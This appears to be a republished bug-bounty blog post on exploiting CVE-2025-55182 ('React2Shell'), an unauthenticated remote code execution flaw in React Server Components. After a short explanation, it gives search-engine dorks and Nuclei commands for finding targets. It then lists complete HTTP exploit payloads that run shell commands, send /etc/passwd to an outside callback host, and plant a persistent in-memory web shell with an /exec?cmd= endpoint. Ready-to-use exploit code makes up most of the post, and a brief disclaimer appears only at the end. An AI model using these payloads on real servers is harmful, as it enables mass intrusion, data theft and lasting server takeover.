Your Brand Here

Your Brand Here Reach a focused audience of ethical hackers and security researchers

From Recon to RCE - Hunting React2Shell (CVE-2025–55182) for Bug Bounties

CoffinCoffin

Dec 12, 2025

From Recon to RCE - Hunting React2Shell (CVE-2025–55182) for Bug Bounties

This blog was originally published here by Coffin


Introduction

CVE-2025–55182 is a critical security vulnerability affecting applications built with React Server Components (RSC), particularly those using Next.js with the App Router. Due to its high impact and low exploitation effort, it carries the maximum CVSS score of 10.0. In this guide, I will explain how this vulnerability works, show practical methods to identify affected targets and demonstrate both manual and automated approaches for testing CVE-2025–55182 safely and effectively.


How Does It Work?

The root of the issue is a flaw in how the server handles data in the "Flight" protocol, which is the communication method for React Server Components.

  1. React Server Components (RSC): This is a feature designed to speed up web applications by letting parts of the user interface (components) render on the server instead of the user’s browser.
  2. The Flaw (Insecure Deserialization): When data travels between the client (browser) and the server using the Flight protocol, the server needs to "decode" or deserialize the incoming message. The vulnerability occurs because the server is too trusting of this incoming data. An attacker can send a maliciously structured data package that, when decoded by the server, tricks the application logic into running arbitrary JavaScript code on the server itself.

In simple terms, the server expects a normal message, but instead it processes a crafted payload that triggers command execution on the system.


What is the Core Problem?

The vulnerability is categorized as Unauthenticated Remote Code Execution (RCE). This means:

  1. Remote Code Execution (RCE): An attacker can trick the server into running their own unauthorized code or commands. This allows them to take full control of the server, potentially stealing data, installing malware like cryptominers, or causing other significant damage.
  2. Unauthenticated: The attacker doesn’t need a username, password or any kind of access to the application to carry out the attack. They just need to send a specially crafted request to the public-facing server.

Affected Components and Versions

According to the official advisory, affected React components are listed below.


LibraryVulnerable VersionsPatched Versions
react-server-dom-parcel19.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1

• • •

Target Discovery Using Search Engine Dorks

The fastest way to scale your hunting is to use asset discovery platforms like Shodan, ZoomEye and FOFA. They help you quickly find applications running React or Next.js that could be vulnerable.


Shodan

http.component:"next.js,react" http.component:"Next.js"

ZoomEye

http.body="react.production.min.js" ||
http.body="React.createElement(" || app="React Router" || app="React.js"
vul.cve="CVE-2025-55182" 

FOFA

app="NEXT.JS" || app="React.js"

Note - If you're checking a specific target, include the hostname in your dork so the results stay limited to that domain only.

Once you have a list of target domains from dorks or tools like Subfinder, run a Nuclei scan against them to quickly spot potentially vulnerable hosts.

subfinder -d domain.com -all | nuclei -t
nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -c 30 subfinder -dL
domains.txt -all | nuclei -t
nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -c 30 echo domain.com |
nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml cat domains.txt
| nuclei -t nuclei-templates/http/cves/2025/CVE-2025-55182.yaml

Quick Validation Using a Browser Extension

Next, use this browser extension; it will automatically detect if the site is affected by this CVE. From here, you can probe the target and even execute OS commands directly.

  • Open a target domain
  • The extension immediately checks if the site is vulnerable
  • If exploitable, you can directly execute OS commands

Manual Exploitation Using Burp Suite

Now, let’s move on to manual testing. This approach gives stronger proof and a clearer understanding of how the vulnerability actually behaves. Using Burp Suite, we can intercept and modify requests to experiment with different exploitation techniques. We will go through each technique one by one to see how it works in practice.


Command Execution Output In Response Body

In this method, the command’s output is reflected directly in the HTTP response. This offers clear, high-confidence confirmation of RCE and makes strong, straightforward evidence for reports.

POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"\_response": {
"\_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"\_chunks": "$Q2",
"\_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Command Execution Output in Response Header

In more restrictive environments where response bodies are filtered or sanitized, command output can still leak through custom HTTP headers. This approach is useful when traditional output channels are blocked and still provides reliable evidence of execution.

POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT\_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Launching a Calculator

This payload demonstrates code execution visually by launching a Calculator application. It is intended for local or lab environments only and should never be used against production systems.

POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","\_response":{"\_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","\_chunks":"$Q2","\_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--


Out-of-Band / DNS Interaction Payloads

Out-of-band techniques are critical when direct output is unavailable useful for:

  • Confirming blind exploitation
  • Proving SSRF behavior
  • Strengthening reports where direct output is blocked

Make sure to Replace the domain below with your Burp Collaborator / OAST domain.


Trigger an Outbound HTTP Request

Triggering an outbound request from the server allows you to confirm command execution by observing callbacks on your Burp Collaborator or OAST server.

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Exfiltrate /etc/passwd via HTTP POST

This demonstrates real data exposure by sending file contents to an external endpoint. Callbacks and extracted data can be viewed directly in the Collaborator client.

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Runtime Memory Shell (Advanced Technique)

This chain allows an attacker to inject a runtime-only command execution on the “slash-exec” endpoint into the Node js HTTP server for as long as the affected process remains alive.

Payload to Create the In-Memory Shell

POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"\_response": {
"\_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
"\_chunks": "$Q2",
"\_formData": {
"get": "$1:constructor:constructor"
}
}
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Trigger Command Execution

To trigger the command execution, simply send a request to the injected endpoint. For example:

curl "http://target.com/exec?cmd=ls+-l"

You can also access this directly in the browser itself and simply run any OS command from there.

• • •

Using Burp Suite Active Scan

You can also use Burp Suite to scan for this CVE by running an Active Scan on the target. Since support was added recently. This helps quickly check if the application is vulnerable before doing manual testing.

Note: This article is not fully complete yet due to a busy schedule. I will be adding the remaining methods and bypass techniques within the next 1–2 days, so make sure to check back for updates.

You can also watch this video where I showed the complete practicle of this method:


Conclusion

React2Shell shows how quickly simple recon can turn into full command execution when a vulnerability is overlooked. By following a structured approach and validating findings carefully, you can identify real-world issues and produce clear, high-impact bug bounty reports. Always test responsibly and keep exploitation minimal.


Disclaimer

The content provided in this article is for educational and informational purposes only. Always ensure you have proper authorization before conducting security assessments. Use this information responsibly.

To add your blog, send an email to hello@bugbountydirectory.com